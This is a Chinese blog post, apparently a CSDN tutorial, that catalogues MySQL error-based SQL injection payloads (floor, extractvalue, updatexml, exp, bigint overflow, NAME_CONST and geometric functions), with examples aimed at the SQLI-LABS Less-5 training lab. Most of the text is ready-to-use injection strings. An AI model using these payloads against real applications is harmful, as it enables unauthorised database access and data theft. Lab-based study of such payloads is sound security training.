SQL注入之报错注入的一些随笔

0x00.序言

关于报错注入的话虽然我在我之前的文章里面写了一些,但是sql注入的姿势实在是太多了。之前写过的payload不全也不系统。今天抽出时间来总结一下。

ps:关于报错注入的原理和使用的基本函数我在我之前的文章《SQLI-LABS修炼笔记(二)》中已经详细说过了,如果不懂可以去看看。

ps的ps:这里以SQLI-LABS的LESS-5为例题作为示范。

0x01.floor()报错注入

http://43.247.91.228:84/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

0x02.extractvalue()报错注入

原理:xpath 函数报错注入

ps:(有长度限制,最长32位)

http://43.247.91.228:84/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

0x03.updatexml()报错注入

ps:(有长度限制,最长32位)

http://43.247.91.228:84/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

 

0x04.exp()报错注入

原理:利用double 数值类型超出范围进行报错注入

http://43.247.91.228:84/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+

0x05.利用!来溢出报错注入

原理:利用bigint 溢出进行报错注入

http://43.247.91.228:84/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

0x06.NAME_CONST()

原理:利用数据的重复性。

http://43.247.91.228:84/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

0x07.总结

  1. floor()
    and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
    information_schema.tables group by x)a)
  2. updatexml()
    and 1=(updatexml(1,concat(0x3a,(select user())),1))
  3. extractvalue()
    and extractvalue(1,concat(0x5c,(select user())))
  4. exp()
    and exp(~(select * from(select user())a))
  5. multipoint()
    and multipoint((select * from(select * from(select user())a)b))
  6. geometrycollection()
    and geometrycollection((select * from(select * from(select user())a)b))
  7. polygon()
    and polygon((select * from(select * from(select user())a)b))
  8. multipolygon()
    and multipolygon((select * from(select * from(select user())a)b))
  9. linestring()
    and linestring((select * from(select * from(select user())a)b))
  10. multilinestring()
    and multilinestring((select * from(select * from(select user())a)b))

参考链接:

1.《mysql注入天书》

2.《MySQL暴错注入方法整理》

3.《代码审计:企业级Web代码安全架构》

 

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值